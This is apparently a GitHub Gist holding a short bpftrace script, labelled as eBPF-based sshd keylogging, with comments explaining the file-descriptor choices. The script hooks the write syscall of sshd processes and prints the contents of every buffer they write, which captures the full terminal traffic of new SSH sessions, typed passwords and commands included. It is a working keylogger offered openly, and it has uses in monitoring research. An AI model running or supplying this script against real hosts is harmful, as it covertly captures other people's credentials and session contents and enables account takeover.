Last active
January 21, 2023 15:59
-
-
Save Esonhugh/044a0f30663755efa5449298828e7f00 to your computer and use it in GitHub Desktop.
ebpf base sshd keylogging. example code is using bpftrace cli tool.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// explain: | |
// fd > 5 always occurs when user create a new interface | |
// fd = 5 is common command line shell. | |
// fd = 10 termius will use this, other command line shell is not test yet. | |
// This script can logging all communication of new ssh process when new login attempt happen. | |
tracepoint:syscalls:sys_enter_write / comm == "sshd" && args->fd >= 5 / { | |
printf("[pid %d fd %d] %r\n", pid, args->fd ,buf(args->buf, args->count )); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment